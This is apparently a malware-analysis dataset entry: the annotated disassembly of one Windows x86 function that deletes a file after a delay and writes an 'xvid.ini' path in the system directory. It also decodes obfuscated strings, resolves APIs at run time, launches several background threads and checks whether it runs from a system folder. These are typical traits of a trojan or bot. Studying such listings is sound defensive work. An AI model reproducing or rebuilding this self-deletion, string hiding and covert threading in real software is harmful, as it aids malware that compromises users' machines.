Function at 0x40c32c
Capabilities:
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
push esi
push edi
mov dword [ebp - 0x30], 0
mov eax, dword [0x4171ac]
mov dword [ebp - 0x60], eax
mov ecx, dword [0x4171b0]
mov dword [ebp - 0x5c], ecx
mov edx, dword [0x4171b4]
mov dword [ebp - 0x58], edx
mov ax, word [0x4171b8]
mov word [ebp - 0x54], ax
mov cl, byte [0x4171ba]
mov byte [ebp - 0x52], cl
mov edx, dword [0x4171bc]
mov dword [ebp - 0x2c], edx
mov eax, dword [0x4171c0]
mov dword [ebp - 0x28], eax
mov ecx, dword [0x4171c4]
mov dword [ebp - 0x24], ecx
mov dx, word [0x4171c8]
mov word [ebp - 0x20], dx
mov eax, dword [0x4171cc]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x4171d0]
mov dword [ebp - 0x10], ecx
mov edx, dword [0x4171d4]
mov dword [ebp - 0xc], edx
mov al, byte [0x4171d8]
mov byte [ebp - 8], al
mov ecx, 6
mov esi, 0x4171dc
lea edi, [ebp - 0x50]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x41b024
push 0x41b020
push 0x41b01c
call fcn.00401a52
push str.RPUNRPYNQWXNRUQ
call fcn.00401855
add esp, 4
mov ecx, dword [ebp + 0x10]
movsx edx, byte [ecx]
test edx, edx
je 0x40c402
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call fcn.0040bd03
call fcn.00401ea8
push 0x104
push 0x4173ec
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.xvid.ini
push 0x4173ec
call sub.MSVCRT.dll_strcat
add esp, 8
call fcn.004030d2
push 0x411028
call fcn.00401855
add esp, 4
push 0x41103c
call fcn.00401855
add esp, 4
lea ecx, [ebp - 0x14]
push ecx
call fcn.00401855
add esp, 4
lea edx, [ebp - 0x50]
push edx
call fcn.00401855
add esp, 4
lea eax, [ebp - 0x60]
push eax
call fcn.00401855
add esp, 4
lea ecx, [ebp - 0x2c]
push ecx
call fcn.00401855
add esp, 4
push 0x41104c
call fcn.00401855
add esp, 4
push 0x411064
call fcn.00401855
add esp, 4
push 0x411078
call fcn.00401855
add esp, 4
push 0x41108c
call fcn.00401855
add esp, 4
push 0x411094
call fcn.00401855
add esp, 4
push 0x4110b0
call fcn.00401855
add esp, 4
push str.3_47_2____t
call fcn.00401855
add esp, 4
push 0x41110c
call fcn.00401855
add esp, 4
push 0x80
mov ecx, 0x4173d8
call sub.MFC42.DLL_CString::GetBuffer
push eax
call fcn.00401855
add esp, 4
push 0xa
mov ecx, 0x4173c8
call sub.MFC42.DLL_CString::GetBuffer
push eax
call fcn.00401855
add esp, 4
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x4173e0], eax
cmp dword [0x4173e0], 0
jne 0x40c534
mov eax, 1
jmp 0x40c6b0
lea eax, [ebp - 0x50]
push eax
mov ecx, dword [0x4173e0]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x417578], eax
lea edx, [ebp - 0x60]
push edx
mov eax, dword [0x4173e0]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4173d4], eax
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [0x4173e0]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4173e4], eax
push 0x41111c
call fcn.00401855
add esp, 4
push 0x41111c
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x40c5a4
push 0x41111c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x30], eax
call fcn.00404007
lea eax, [ebp - 0x18]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push eax
push 0x40bbf2
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 0xe4], eax
cmp dword [0x41b01c], 2
jne 0x40c5d9
call fcn.00403973
lea ecx, [ebp - 0x34]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push eax
push 0x4033db
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 4], eax
lea edx, [ebp - 0xe8]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push eax
push 0x406a5c
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 0x1c], eax
push 0x1f40
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.0040c250
push eax
lea eax, [ebp - 0xe0]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
lea ecx, [ebp - 0xe0]
push ecx
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 4
push str.syste
lea edx, [ebp - 0xe0]
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x40c668
call fcn.0040ad37
push 0
push 0
push 0
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40c6ae
cmp dword [ebp - 0x78], 0x12
jne 0x40c68a
push 0
call dword [sym.imp.MSVCRT.dll_exit]
cmp dword [ebp - 0x78], 0x10
jne 0x40c698
push 0
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebp - 0x7c]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0x7c]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x40c668
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10